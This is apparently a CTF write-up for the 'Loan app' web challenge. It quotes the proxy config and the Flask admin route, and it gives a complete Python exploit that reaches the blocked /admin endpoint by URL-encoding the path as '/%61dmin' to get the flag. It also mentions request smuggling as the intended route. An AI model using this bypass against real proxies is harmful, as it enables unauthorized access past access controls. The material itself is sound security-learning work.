Loan app
Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution)
This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do ‘request smuggling’, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.
Solve intended: Something like this
We focus on the proxy config
# filename: file.py
global
log stdout format raw local0
maxconn 2000
user root
group root
daemon
defaults
log global
option httplog
timeout client 30s
timeout server 30s
timeout connect 30s
frontend http_front
mode http
bind :80
acl is_admin path_beg /admin # Miss config
http-request deny if is_admin # Miss config
default_backend gunicorn
backend gunicorn
mode http
balance roundrobin
server loanserver loanapp:8000 maxconn 32
And win function
# filename: app.py
@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
try:
mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
return 'OK', 200
except:
return 'Internal Server Error', 500
Comments added by me
The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the /admin/loan/id
endpoint, the loan is approved by setting the flag
# filename: exploit.py
#!/usr/bin/python3
import http
import requests
from uuid import uuid4
from bs4 import BeautifulSoup
import urllib3.util
BASE_URL = "http://loanapp.1nf1n1ty.team/"
s = requests.Session()
def login(username,password):
r = s.post(BASE_URL + "login", data={"username": username, "password": password})
if r.status_code == 200:
print("[+] Login successful")
else:
print("[-] Login failed: " + r.text)
exit(1)
def register(username,password):
r = s.post(BASE_URL + "register",data={"username": username, "password": password})
if r.status_code == 200:
print("[+] Registration successful")
else:
print("[-] Registration failed: " + r.text)
exit(1)
def loan_request():
r = s.post(BASE_URL + "loan-request", data={"amount": "696969696969696969", "reason": "I need money for cookies"})
if r.status_code == 200:
print("[+] Loan request successful")
else:
print("[-] Loan request failed: " + r.text)
exit(1)
def get_loan_id():
r = s.get(BASE_URL)
soup = BeautifulSoup(r.text, 'html.parser')
loan_id = soup.find("span", attrs={"class":"loan-id"}).text.strip().split(": ")[1]
return loan_id
def exploit(loan_id):
conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host)
conn.request("POST", f"/%61dmin/loan/{loan_id}") # Use http instead of requests for avoid auto url encoding of requests
response = conn.getresponse()
if response.status != 200:
print("[-] Exploit failed")
exit(1)
def get_flag():
r = s.get(BASE_URL)
soup = BeautifulSoup(r.text, 'html.parser')
return soup.find("p", attrs={"class": "loan-message"}).text.strip()[7:]
def main():
username, password = uuid4(), uuid4()
print(f"Username: {username} Password: {password}")
register(username,password)
login(username,password)
loan_request()
loan_id = get_loan_id()
print(f"[+] Loan ID: {loan_id}")
exploit(loan_id)
print(f"[+] Flag: {get_flag()}")
if __name__ == "__main__":
main()
# goodluck by @akiidjk
$flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}
Author: akiidjk